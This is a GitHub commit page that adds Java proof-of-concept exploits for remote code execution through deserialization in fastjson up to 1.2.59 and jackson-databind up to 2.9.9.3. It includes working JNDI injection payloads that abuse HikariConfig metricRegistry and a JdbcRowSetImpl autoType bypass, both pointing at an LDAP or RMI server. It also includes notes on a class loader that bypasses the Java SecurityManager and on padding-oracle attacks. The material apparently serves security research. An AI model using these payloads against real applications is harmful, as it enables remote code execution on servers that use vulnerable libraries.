Skip to content

Commit ee90b0b

Browse files
author
xuanyh
committed
feat:fastjson <= 1.2.59、jackson-databind <= 2.7.9.6、<= 2.8.11.4、<= 2.9.9.3的RCE测试demo
1 parent 4588d3e commit ee90b0b

File tree

8 files changed

+115
-9
lines changed

8 files changed

+115
-9
lines changed

lib/fastjson-1.2.59.jar

625 KB
Binary file not shown.

pom.xml

Lines changed: 27 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -40,12 +40,12 @@
4040
<version>1.7.6</version>
4141
</dependency>
4242

43-
<!-- fastjson -->
44-
<dependency>
45-
<groupId>com.alibaba</groupId>
46-
<artifactId>fastJson</artifactId>
47-
<version>1.2.47</version>
48-
</dependency>
43+
<!-- &lt;!&ndash; fastjson &ndash;&gt;-->
44+
<!-- <dependency>-->
45+
<!-- <groupId>com.alibaba</groupId>-->
46+
<!-- <artifactId>fastJson</artifactId>-->
47+
<!-- <version>1.2.59</version>-->
48+
<!-- </dependency>-->
4949

5050
<!-- jsonkson -->
5151
<dependency>
@@ -56,7 +56,7 @@
5656
<dependency>
5757
<groupId>com.fasterxml.jackson.core</groupId>
5858
<artifactId>jackson-databind</artifactId>
59-
<version>2.9.8</version>
59+
<version>2.7.9.6</version>
6060
</dependency>
6161

6262
<!-- ldap -->
@@ -126,6 +126,26 @@
126126
<artifactId>vjkit</artifactId>
127127
<version>1.0.8</version>
128128
</dependency>
129+
130+
<dependency>
131+
<groupId>org.dom4j</groupId>
132+
<artifactId>dom4j</artifactId>
133+
<version>2.0.0</version>
134+
</dependency>
135+
136+
<dependency>
137+
<groupId>org.jdom</groupId>
138+
<artifactId>jdom</artifactId>
139+
<version>1.1.3</version>
140+
</dependency>
141+
142+
143+
<!-- https://mvnrepository.com/artifact/hikari-cp/hikari-cp -->
144+
<dependency>
145+
<groupId>com.zaxxer</groupId>
146+
<artifactId>HikariCP</artifactId>
147+
<version>3.4.1</version>
148+
</dependency>
129149
</dependencies>
130150

131151
<build>
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
package com.threedr3am.bug.fastjson;
2+
3+
import com.alibaba.fastjson.JSON;
4+
import com.alibaba.fastjson.parser.ParserConfig;
5+
import com.threedr3am.bug.server.LdapServer;
6+
7+
/**
8+
* fastjson <= 1.2.59 RCE,需要开启AutoType
9+
*
10+
* @author threedr3am
11+
*/
12+
public class HikariConfigPoc {
13+
14+
static {
15+
//rmi server示例
16+
// RmiServer.run();
17+
18+
//ldap server示例
19+
LdapServer.run();
20+
}
21+
22+
public static void main(String[] args) {
23+
//TODO 使用rmi server模式时,jdk版本高的需要开启URLCodebase trust
24+
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
25+
26+
27+
ParserConfig.global.setAutoTypeSupport(true);
28+
29+
// String payload = "{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"rmi://localhost:43657/Calc\"}";
30+
String payload = "{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"ldap://localhost:43658/Calc\"}";
31+
JSON.parse(payload);
32+
}
33+
}

src/main/java/com/threedr3am/bug/fastjson/NoNeedAutoTypePoc.java

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -27,8 +27,7 @@ public static void main(String[] args) {
2727
* TODO checkAutoType方法的缺陷(先通过缓存查询,有则立马返回,JdbcRowSetImpl否则检查黑名单hash)绕过黑名单和autoType的检查
2828
*/
2929
// String payload = "[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:43657/Calc\",\"autoCommit\":true}]";//rmi方式
30-
String payload = "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}";
31-
// String payload = "[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:43658/Calc\",\"autoCommit\":true}]";//ldap方式
30+
String payload = "[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:43658/Calc\",\"autoCommit\":true}]";//ldap方式
3231
JSON.parse(payload);
3332
//所以,该payload需要分两步进行
3433
}
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
package com.threedr3am.bug.jackson;
2+
3+
import com.alibaba.fastjson.JSON;
4+
import com.alibaba.fastjson.parser.ParserConfig;
5+
import com.fasterxml.jackson.databind.ObjectMapper;
6+
import com.threedr3am.bug.server.LdapServer;
7+
import java.io.IOException;
8+
9+
/**
10+
* jackson-databind <= 2.7.9.6、<= 2.8.11.4、<= 2.9.9.3 RCE,需要开启DefaultType
11+
*
12+
* @author threedr3am
13+
*/
14+
public class HikariConfigPoc {
15+
16+
static {
17+
//rmi server示例
18+
// RmiServer.run();
19+
20+
//ldap server示例
21+
LdapServer.run();
22+
}
23+
24+
public static void main(String[] args) throws IOException {
25+
//TODO 使用rmi server模式时,jdk版本高的需要开启URLCodebase trust
26+
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
27+
28+
ObjectMapper mapper = new ObjectMapper();
29+
mapper.enableDefaultTyping();
30+
31+
// mapper.readValue("[\"com.zaxxer.hikari.HikariConfig\", {\"metricRegistry\":\"rmi://localhost:43657/Calc\"}]", Object.class);
32+
mapper.readValue("[\"com.zaxxer.hikari.HikariConfig\", {\"metricRegistry\":\"ldap://localhost:43658/Calc\"}]", Object.class);
33+
}
34+
}
Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
/**
2+
* 类PaddingOracleCBC编写了小于等于16字节的字符的PaddingOracle和CBC翻转攻击的demo
3+
*
4+
* 类PaddingOracleCBC2编写了大于16字节的字符的PaddingOracle和CBC翻转攻击的demo
5+
*
6+
* @author xuanyh
7+
*/
8+
package com.threedr3am.bug.paddingoraclecbc;

src/main/java/com/threedr3am/bug/security/manager/AttackTest.java

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -114,6 +114,9 @@ public static void main(String[] args)
114114

115115
}
116116

117+
/**
118+
* 自定义的类加载器,在加载类的时候给予类全部权限,从而使加载的恶意class能越权执行
119+
*/
117120
class MyClassLoader extends ClassLoader {
118121

119122
@Override
Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
/**
2+
* CodeBaseTest简单描述Java SecurityManager的使用
3+
*
4+
* AttackTest尝试以多种方式去对Java SecurityManager进行绕过,越权执行操作
5+
*
6+
*
7+
* @author xuanyh
8+
*/
9+
package com.threedr3am.bug.security.manager;

0 commit comments

Comments
 (0)